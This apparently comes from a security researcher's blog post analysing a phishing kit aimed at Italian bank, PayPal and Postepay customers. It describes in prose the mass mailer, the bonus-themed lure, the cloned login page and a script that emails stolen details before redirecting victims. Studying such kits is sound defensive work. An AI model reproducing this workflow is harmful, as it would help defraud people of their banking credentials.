What i think is that there is only one guy because if you check the title of this script you see the write assembled by ME, if it was a team should be written Assembled by XYZ team.
Where is he from ?
His mother language is romanian and i think he lives in Italy. As you can see below there are several files written in romanian and the stolen information are sent to a fastweb email that you cannot made if you don't leave in Italy.
- d3b (postepay information stealer)
- stf (cartasi, uk paypal, banca intesa, it paypal, postepay, VISA)
- pastote (cartasi, paypal, VISA, bancopostaclick)
Taking a look to pastote folder we see that he uses a mass mailer script to send phishing emails.
The emails address are stored in 30 rar files named pastoteXX.
From 2/3/2012 he started targetting paypal user but using a different method. I don't have any email of paypal phising but for what there is on this site i can guess that he sends an email saying you have received a bonus of 100 euro, in order to proceed login to your paypal (fake link provided) account and fill the form.
When a victim click on the link will be redirected to this fake page on this site.
Once logged in
Once filled the form and clicked send the data are redirected to a script called trimite.php which translated from romanian means send/forward. This time the data aren't stored in a txt file like previous but directly sent to a fastweb email and in the end redirect the victim to the original site.

He did a good job to replicate paypal login process.
In the stf folder all stolen data are sent to firstname.lastname@example.org and the techniques used to trick users are the same explained previously.
